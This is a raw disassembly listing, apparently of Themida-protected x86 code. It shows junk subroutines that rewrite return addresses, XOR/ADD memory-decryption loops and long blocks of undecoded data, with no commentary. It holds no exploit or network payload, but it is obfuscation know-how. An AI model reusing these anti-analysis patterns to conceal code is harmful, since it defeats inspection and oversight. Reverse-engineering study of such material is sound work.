and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE42C proc near ; CODE XREF: Themida_:005CE424p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5CE42C endp
; ---------------------------------------------------------------------------
enter 34C0h, 0B6h
sub [ecx], bl
sub edi, [ebp-62F4534Ch]
sbb eax, 6607E406h
mov edi, esi
cmp dword ptr [ebp+7E422B9h], 3
jbe loc_5CE84E
call sub_5CE46A
dec ebx
pop ebx
cli
mov edi, [ecx-1Eh]
retf 0CBBEh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5CE46A proc near ; CODE XREF: Themida_:005CE45Cp
jmp sub_5CE478
sub_5CE46A endp
; ---------------------------------------------------------------------------
db 67h
dd 4729E77Eh, 93AFC2A8h
; =============== S U B R O U T I N E =======================================
sub_5CE478 proc near ; CODE XREF: sub_5CE46Aj
; FUNCTION CHUNK AT 005CE59D SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005CE5E1 SIZE 00000013 BYTES
pop edi
pusha
mov ebx, [ebp+7E415F9h]
mov cx, ds
mov bh, 1
and cl, 4
ja loc_5CE494
mov [ebp+7E42B55h], ebx
loc_5CE494: ; CODE XREF: sub_5CE478+10j
mov [ebp+7E42EB5h], ebx
or cl, cl
jz loc_5CE59D
mov di, ax
mov eax, [ebp+7E40651h]
push 0
push ecx
call sub_5CE4B6
and [ecx-3Dh], bl
sub_5CE478 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5CE4B6 proc near ; CODE XREF: sub_5CE478+36p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5CE4B6 endp
; ---------------------------------------------------------------------------
les ecx, [ebx-1BF68263h]
pop es
xor eax, [ebp+7E42029h]
jg loc_5CE4DF
mov edi, [ebp+7E42B3Dh]
loc_5CE4DF: ; CODE XREF: Themida_:005CE4D3j
nop
mov bx, 2434h
push eax
jz loc_5CE4F5
pusha
mov si, di
mov ecx, 2E510D6Eh
popa
loc_5CE4F5: ; CODE XREF: Themida_:005CE4E5j
nop
mov ebx, 60B5AF27h
push 0
push 0
push edx
call sub_5CE508
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE508 proc near ; CODE XREF: Themida_:005CE500p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5CE508 endp
; ---------------------------------------------------------------------------
dd 754D3FE9h, 8596DF3Ah, 20CB8166h, 6C296837h, 48B7DB29h
dd 0D6240481h, 6A24F597h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0C1E9C352h, 317B9C3Bh
dd 8BDFBF0Fh, 0E408CD9Dh, 9995FF07h, 0F907E42Dh, 0F8A58589h
dd 0B58907E7h, 7E42629h, 24EE9h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 8C2EDC87h
dd 89E8BC06h, 0E41CA185h
; ---------------------------------------------------------------------------
pop es
; START OF FUNCTION CHUNK FOR sub_5CE478
loc_5CE59D: ; CODE XREF: sub_5CE478+24j
mov eax, [ebp+7E7F89Dh]
mov ebx, [ebp+7E42449h]
mov dword ptr [eax], 18h
js loc_5CE5C3
pusha
jbe $+6
jle $+6
popa
loc_5CE5C3: ; CODE XREF: sub_5CE478+137j
mov esi, [ebp+7E7F8A1h]
jmp loc_5CE5E1
; END OF FUNCTION CHUNK FOR sub_5CE478
; ---------------------------------------------------------------------------
dw 0CE07h
; ---------------------------------------------------------------------------
inc eax
sub bl, dh
sub al, 7Eh
pop esi
dec esp
das
or al, 7
dec esp
xchg ah, [edx-5C361306h]
; START OF FUNCTION CHUNK FOR sub_5CE478
loc_5CE5E1: ; CODE XREF: sub_5CE478+151j
mov ebx, edi
mov eax, [ebp+7E40099h]
push 0
push edi
call sub_5CE5F4
and [edi-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5CE478
; =============== S U B R O U T I N E =======================================
sub_5CE5F4 proc near ; CODE XREF: sub_5CE478+174p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5CE5F4 endp
; ---------------------------------------------------------------------------
dd 9D8B04CEh, 7E40AF5h, 2409BD8Bh, 68907E4h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E1C35646h, 9D8BE9A5h
dd 7E42525h, 651858Bh, 852907E4h, 7E42299h, 1CA98D89h
dd 468907E4h, 0DD8D8904h, 5007E426h, 10E8h, 1AC5F400h
dd 408C77Bh, 0AC97F48Dh, 2ED02C8Dh, 0E9525078h, 9, 0B1F676E3h
dd 0CD22884Ch, 8B310FEBh, 5B585AFEh, 6A243489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 9B7C357h, 2D9A06C2h, 0B2993FD5h, 0FFFE8B66h, 0E7F89DB5h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 40BC1E47h, 1BC99D0Bh, 8B6607E4h, 8E7668DFh
dd 0F601B58h, 289h, 0E9616000h, 0Dh, 80864A00h, 0D7AAE69Bh
dd 7FA85A3Bh, 3481616Bh, 478D8924h, 6890F1Bh, 89000000h
dd 0E41D6185h, 307ABF07h, 858D0A00h, 7E7F8A5h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7BC35545h, 89B4DF68h
dd 0E41BB59Dh, 50509007h, 0AE852h, 78E80000h, 120F4648h
dd 30E94C40h, 7CEEBF66h, 50310F5Bh, 0CE852h, 8A0E0000h
dd 0CCF348DBh, 0FDE3F1FCh, 0F5BFE55h, 5A585A31h, 6A9058h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 889E5DC3h, 2D9995FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0BD8BBCC3h, 7E40139h
dd 0C1CF8057h, 81BD895Fh, 6107E423h, 1435BD89h, 85C707E4h
dd 7E422B9h, 3, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 59C35242h, 8E303A3Ch, 1B8C1903h, 0AE9h, 0DCE5FA00h
dd 17F36104h, 838DAA94h, 0E7F8A5BDh, 840F0007h, 3Ah, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E8C35646h, 2634B0FEh
dd 31FD36A0h, 0E40B8D95h, 27E907h, 9D8B0000h, 7E4074Dh
dd 0D49FDF81h
db 16h, 23h
; ---------------------------------------------------------------------------
loc_5CE84E: ; CODE XREF: Themida_:005CE456j
; Themida_:005CE865j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5CE84E
jmp short loc_5CE89F
; ---------------------------------------------------------------------------
loc_5CE869: ; CODE XREF: Themida_:005CE408j
; Themida_:005CE880j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5CE869
jmp short loc_5CE89F
; ---------------------------------------------------------------------------
loc_5CE884: ; CODE XREF: Themida_:005CE41Bj
; Themida_:005CE89Bj
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5CE884
jmp short $+2
loc_5CE89F: ; CODE XREF: Themida_:005CE867j
; Themida_:005CE882j
mov eax, eax
push 0
push ebp
call sub_5CE8AC
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CE8AC proc near ; CODE XREF: Themida_:005CE8A4p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5CE8AC endp
; ---------------------------------------------------------------------------
dd 891FA1D1h, 0E42FF5B5h, 59BD0307h, 8307E42Ah, 0E422B9BDh
dd 850F0307h, 487h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 59C35646h, 0E6A1A6h, 0AA80E781h, 0BD8B7028h
dd 7E40DE5h, 0F8A5BD83h, 0F0007E7h, 44E84h, 12E900h, 82370000h
dd 0F03D010Dh, 6BD4B504h, 1C6792D7h, 0E3F30DB4h, 6ED5D3BFh
dd 0A5B5FF21h, 0FF07E7F8h, 0E4044D95h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 0BD8BFFA1h, 7E4355Dh, 0F899B58Bh, 9D8B07E7h, 7E41F49h
dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 2E3588C3h, 0A377C54Bh, 66CDFB92h
dd 6650FB8Bh, 897CD2BBh, 6A2434h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0E3A099C3h, 0A5B5FF62h
dd 8A07E7F8h, 995FFFEh, 6A07E42Ah, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E98FC351h
dd 8B867521h, 99B58BFBh, 6A07E7F8h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 9CA3C355h
dd 0EDAF7C43h, 0F57B6E2h, 688h, 0F9BD8B00h, 5B07E41Eh
dd 3165858Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0FBD2D2C3h, 8B7FE00Dh, 0E401A5BDh
dd 0C4868907h, 8B000000h, 0E433219Dh, 71958B07h, 6A07E41Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 2CACC350h, 0C53B7881h, 0EDB531E7h, 8307E40Dh
dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0DA2134C3h, 43D7A225h, 619D8BC9h, 8907E41Ch
dd 95292050h, 7E40B51h, 0CD4858Dh, 6A07E8h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0AE40A4C3h
dd 0F1D9059Fh, 0FA49C36h, 683h, 0BD858900h, 0E907E415h
dd 0Eh, 7C13A17Dh, 9984321Fh, 0DCDE7079h, 9509CDD7h, 7E403E1h
dd 0B88689h, 9E90000h, 28000000h, 28C2A3E7h, 441502E5h
dd 0FFF8006Ah, 0E7F8A5B5h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 82B89136h
dd 89751DB8h, 0E4303595h, 0AD95FF07h, 0F07E431h, 988h
dd 3890F00h, 66000000h, 0BB50DF8Bh, 3A4BBAAEh, 6A243489h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0C010C355h, 0D99D8B2Ch, 0FF07E42Eh, 0E7F8A5B5h
dd 119D3107h, 0FF07E40Ah, 0E41B1195h, 68E0F07h, 89000000h
dd 0E41EF18Dh, 0F9BD8307h, 7E40Dh, 4E840Fh, 50960000h
dd 50525052h, 5A310F52h, 60310F58h, 0F585A61h, 0F525031h
dd 5A46B731h, 50585A58h, 0BE8h, 0C79F6000h, 3B922FCh, 0A4C20772h
dd 13850Fh, 0DE80000h, 6D000000h, 0F72E69E4h, 97B38893h
dd 439E6665h, 66965F5Fh, 2A0FD781h, 0F8A5B5FFh, 6A07E7h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0E6A774C3h, 27D95FFh, 820F07E4h, 0Eh, 3DB58960h, 0F07E416h
dd 8Dh, 0B5FF6100h, 7E7F8A5h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 4EC35343h, 0CF239854h, 6FE9D5DFh
dd 1C8E0Fh, 830F0000h, 16h, 10E8h, 8AE67B00h, 0B99C4123h
dd 0A2B32535h, 0EE7C74E5h, 0EF815B3Ah, 7C5EDA7Bh, 17F1BD8Bh
dd 95FF07E4h, 7E40971h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 4AC35141h, 1B0E560Fh, 24481636h, 0AD25BB90h
dd 0BD832863h, 7E40A21h, 47840F02h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0EB1CC355h, 89F6500Dh, 0E425B5BDh, 0B5858B07h, 0F07E41Eh
dd 282h, 0C6DD8A00h, 0BE90000h, 0B000000h, 572551D4h, 0EA2990CEh
dd 85C74CA7h, 7E42671h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5CED3F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CED3F proc near ; CODE XREF: Themida_:005CED37p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5CED3F endp
; ---------------------------------------------------------------------------
db 0B1h
dd 4976EC99h, 0D634A074h, 0D1BD01A4h, 0E907E418h, 0FFFFF30Fh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B9C35343h
dd 0BD8B95CFh, 7E4249Dh, 10E9C18Bh, 1A000000h, 2015C6C1h
dd 8FFB44FDh, 0B6536CAEh, 8DEA1E8Dh, 0E40D8585h, 8B669007h
dd 0CE850DEh, 0BC000000h, 5FE6362Bh, 51BB75D4h, 0E964BC22h
dd 14h, 0BB4128CEh, 22A4B94Dh, 37410C91h, 677D9F16h, 156BA231h
dd 6A905Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 0E91AB2C3h, 0Dh, 19EFF9AFh, 5F2C6250h, 87073DAh
dd 6A006AD7h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 4F83C350h, 10E93981h, 87000000h
dd 3E622A3h, 93E2B8F1h, 4461CFC5h, 6ABD8D6Fh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 2FCDBE74h, 0E09B0A27h, 8166D93Dh, 8DFC06F3h, 0E8CB7D85h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0B3539721h, 2E4DCF81h, 852931FFh, 7E406F1h
dd 6A05C083h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 30ABC350h, 95895729h, 7E40091h
dd 0FE95Fh, 2B420000h, 0F6CEA4Ch, 0CD013D58h, 0B9FCD4C8h
dd 0DE8B9055h, 9007B350h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 8AC35747h, 0F4C015Ah, 0B70FDEB7h, 6A006AD9h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 159D8B7Ah, 0FF07E418h, 0E4247195h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0F780D260h, 4B8D8DFAh, 0F07E7D6h, 80h, 7E900h, 0BEDF0000h
dd 0A7B98E06h, 29D1FF55h, 0E41D4195h, 15BD8307h, 107E420h
dd 8E850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 0F00C9C3h, 388h, 0FABF0F00h, 0E860Fh
dd 9E90000h, 48000000h, 0ABB0DB52h, 82C006A8h, 0BF60026Ah
dd 2BBB59D5h, 0D74FBB66h, 0BB669061h, 0BB5081DDh, 1E0812Fh
dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 89ED109Bh, 0E419D9BDh, 6E907h, 952B0000h
dd 4CE56A84h, 31AD95FFh, 8D8907E4h, 7E41BB5h, 0E55E9h
dd 0E800h, 815D0000h, 0E8CB87EDh, 81BF6607h, 55006ACFh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0C25243Bh, 5CBA9A35h, 18798D89h, 858D07E4h, 7E7C6E1h
dd 8B666050h, 48961C3h, 51006A24h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 0E1E74670h, 0FB8BC13Eh
dd 12E9h, 371E9000h, 0C15D7D4Dh, 8C602DA7h, 0C60CC030h
dd 6435038Ah, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 81B50AC3h, 7C9806D3h
dd 25896466h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5CF0CB
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF0CB proc near ; CODE XREF: Themida_:005CF0C3p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5CF0CB endp
; ---------------------------------------------------------------------------
db 21h
dd 57875F4Fh, 35593300h, 0B985FFC5h, 6A07E420h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 27BCC351h, 0C3EBCA71h, 0AA99C772h, 25459D8Bh, 0FF6A07E4h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 4CC35141h
dd 942BCAB1h, 6C7274BFh, 81B5FF40h, 6A07E415h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0F5A6C356h, 304D95FFh, 1EE907E4h, 0F000001h, 58Ah, 0E3816600h
dd 0B04067h, 14D58529h, 70E607E4h, 7C80BB50h, 0E45F5F33h
dd 85896071h, 7E42341h, 295537BBh, 613C6143h, 0EB830Fh
dd 0EF810000h, 5843C16Ah, 0B3C8B60Fh, 6BA77h, 8BFC0000h
dd 0FEB70FC1h, 0E804E8C1h, 8, 0BE740B3h, 9E363387h, 80E3805Fh
dd 0E8E2F766h, 13h, 4A5490E3h, 0AACAD6A2h, 21366CE3h, 0BFE5AF44h
dd 0E8C70BA7h, 0Ah, 3EBC7C42h, 8D0AE9F6h, 9D89FD2Ah, 7E416A9h
dd 0C82B5B5Bh, 6653D18Bh, 5F5276BFh, 7298531h, 0BE907E4h
dd 0F000000h, 586h, 8133BB00h, 858B0730h, 7E40F29h, 0C083FB8Bh
dd 0C5BD8907h, 8307E402h, 958900C0h, 7E41C7Dh, 830FD03Bh
dd 18h, 4D99D8Bh, 42E907E4h, 66000000h, 8B60DA8Bh, 0E4029D95h
dd 61585307h, 6FD8D8Bh, 0BF0F07E4h, 58D89FAh, 8307E415h
dd 840F01E1h, 1Dh, 0E599589h, 0A58307E4h, 7E406FDh, 89FA8BFEh
dd 0E40F2995h, 0FB8BFC07h, 0E9h, 29B58D00h, 6A07E84Ch
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 7B51C357h, 5EABAE94h, 61BD8B17h, 6A07E40Bh
dd 5D9D8B00h, 0FF07E41Ah, 0E40E4195h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0B6927433h, 1930BB0Eh, 26918D89h, 48B907E4h, 0E9000008h
dd 13h, 0EAE3A87Eh, 37A3CA39h, 86068638h, 12492C34h, 8309980Ah
dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 5E85FBC3h, 0BF0F0589h, 6AFCFAh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3AA8EFC3h
dd 1C084F94h, 4DB8166h, 0B870F16h, 60000000h, 8BD0BF0Fh
dd 0E40679BDh, 0B86107h, 8B000000h, 0E40E459Dh, 0BA07h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 0CA225FC3h, 31B322FEh, 0CF80DC36h, 0DE8B565Fh
dd 0C233AD5Bh, 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 8B486C7Dh, 0E407C9BDh, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 3F315ADAh
dd 2DBD0B45h, 0D07E402h, 88h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 0E5C35040h, 86E82363h, 7C2D4B36h
dd 0DE8B6611h, 1B71958Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 8DFA4DC3h, 2DA18D8Bh
dd 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0A347BAC3h, 0F128D62h, 188Ch, 10E800h, 0FA740000h
dd 3E52FDCEh, 0BC1859CCh, 8488EEBAh, 0DE8B3E3Fh, 0DA8B665Bh
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 800F5818h
dd 30h, 13E8h, 2C285300h, 0FB3DFA5Dh, 8D140AE6h, 25F004h
dd 0B9053FF1h, 12E9h, 16FAEC00h, 7A28C1A4h, 39D00D6Bh
dd 81CBFB10h, 5B2FD59Dh, 0DE59D8Bh, 0DA8B07E4h, 611BD83h
dd 0F0007E4h, 6084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 0B897668Ch, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5CF51F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF51F proc near ; CODE XREF: Themida_:005CF517p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_5CF51F endp
; ---------------------------------------------------------------------------
db 0DDh
; ---------------------------------------------------------------------------
mov cl, [eax+68h]
mov edi, 69AC6773h
lea ecx, [ebp+7E44FE7h]
pusha
xor [ebp+7E423C5h], esi
mov ax, si
popa
jmp ecx
; ---------------------------------------------------------------------------
mov [ebp+7E40245h], edx
cmp dword ptr [ebp+7E422B9h], 0
jz loc_5CFA3A
jbe loc_5CF577
jmp loc_5CF577
; ---------------------------------------------------------------------------
db 85h, 0C4h, 0FDh
dd 0FC05A880h, 3AD4DEF8h
db 18h, 0E7h, 0D3h
; ---------------------------------------------------------------------------
loc_5CF577: ; CODE XREF: Themida_:005CF55Ej
; Themida_:005CF564j
cmp dword ptr [ebp+7E422B9h], 1
jz loc_5CFA55
push 0
push ebx
call sub_5CF58F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF58F proc near ; CODE XREF: Themida_:005CF587p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5CF58F endp
; ---------------------------------------------------------------------------
mov ecx, [ebx-1BD2A643h]
pop es
push esi
mov edi, 6A431FA7h
pop ebx
cmp dword ptr [ebp+7E422B9h], 3
jbe loc_5CFA1F
push 0
push ebp
call sub_5CF5C5
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF5C5 proc near ; CODE XREF: Themida_:005CF5BDp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5CF5C5 endp
; ---------------------------------------------------------------------------
dec ebp
inc esi
cli
enter 660Bh, 94h
jge loc_5CF5E8
or [ebp+7E41F21h], edi
loc_5CF5E8: ; CODE XREF: Themida_:005CF5DCj
pusha
or ebx, [ebp+7E4063Dh]
jmp loc_5CF5FC
; ---------------------------------------------------------------------------
test ch, al
rol dword ptr [ebx-74D33185h], 1
loc_5CF5FC: ; CODE XREF: Themida_:005CF5EFj
mov cx, ds
mov [ebp+7E41FE9h], edx
and cl, 4
push 0
push esi
call sub_5CF613
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF613 proc near ; CODE XREF: Themida_:005CF60Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5CF613 endp
; ---------------------------------------------------------------------------
xchg eax, [esi]
mov ch, 0AEh
cli
pusha
xchg eax, ebx
sub bx, 0F1A5h
mov [ebp+7E429CDh], esi
or cl, cl
jz loc_5CF78D
push 0
push ebx
call sub_5CF648
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF648 proc near ; CODE XREF: Themida_:005CF640p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5CF648 endp
; ---------------------------------------------------------------------------
dd 664BE240h, 0BF0FDA8Bh, 51858BFBh, 6A07E406h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 330CC355h, 0E4202985h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 89E60869h
dd 0E429D585h, 0BF665007h, 489CF5Bh, 51006A24h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0A885B517h
dd 0F85C6390h, 998529BEh, 2B07E42Bh, 0E43141BDh, 0E8006A07h
dd 5, 0BD8C3BD1h, 6557BFFFh, 0E85F626Bh, 4, 1F03FFh, 638AECBFh
dd 8B665076h, 24448BF9h, 0D88B6604h, 0BF66008Bh, 4489E628h
dd 0F88B0424h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 3B728F0Fh, 15AA6C17h
dd 95FF2A5Ch, 7E42D99h, 68F0Fh, 0F3810000h, 5DA74552h
dd 0F8A58589h, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0B58994C3h, 7E41AB5h, 0F59B589h
dd 3FE907E4h, 8B000002h, 0E43031BDh
; ---------------------------------------------------------------------------
pop es
loc_5CF78D: ; CODE XREF: Themida_:005CF637j
mov eax, [ebp+7E7F89Dh]
push 0
push ecx
call sub_5CF79E
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF79E proc near ; CODE XREF: Themida_:005CF796p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5CF79E endp
; ---------------------------------------------------------------------------
dw 0E542h
; ---------------------------------------------------------------------------
aam 0DBh
mov ds:4BF8C7Dh, al
ja loc_5CF7C9
jb loc_5CF7C9
mov edi, [ebp+7E4200Dh]
loc_5CF7C9: ; CODE XREF: Themida_:005CF7B7j
; Themida_:005CF7BDj
mov dword ptr [eax], 18h
mov [ebp+7E42431h], esi
mov esi, [ebp+7E7F8A1h]
push 0
push esi
call sub_5CF7E6
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CF7E6 proc near ; CODE XREF: Themida_:005CF7DEp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5CF7E6 endp
; ---------------------------------------------------------------------------
dw 0AADBh
dd 0F52C000Ah, 8A8FCC74h, 99858BD9h, 6A07E400h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0F8BCC353h, 23319589h, 68907E4h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 1BC35747h, 0D0C1FC3Ch, 651858Bh
dd 6A07E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 888AC3h, 0CDDCBC3Ah, 0D98B66F5h, 6A044689h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 4D4FC352h, 6E8h, 0FAB90B00h, 0F5AD351h, 0B82h
dd 6E900h, 3B070000h, 0CBAEAAAh, 859D335Fh, 9607E430h
dd 9E82BF66h, 66525050h, 0F73DBBFh, 5AF6B331h, 6A9658h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0E4A40BC3h, 147A6346h, 18D0Fh, 0FFF80000h, 0E7F89DB5h
dd 0DD9D8B07h, 6807E414h, 706BB556h, 11E8h, 0A50BDD00h
dd 0D2FD4EFBh, 290B61ECh, 4C4EA8C3h, 8B66B63Fh, 34815FF9h
dd 74B6A924h, 52006A70h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 70C56A64h, 8B7A964Ah, 0E40509BDh
dd 0A5858D07h, 6A07E7F8h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 8DA1C356h, 0EF406B4Fh
dd 53507446h, 10E8h, 34A2F000h, 0C58649A8h, 6F7C8344h
dd 6951D095h, 5B5F5331h, 2404895Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0E1C35141h, 12AD8D89h, 95FF07E4h
dd 7E42D99h, 325D8D89h, 16107E4h, 0E406F185h, 0B985C707h
dd 307E422h, 66000000h, 0FC472BBh, 0BD83D9BFh, 7E7F8A5h
dd 34840F00h, 31000000h, 0E405458Dh, 44E907h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
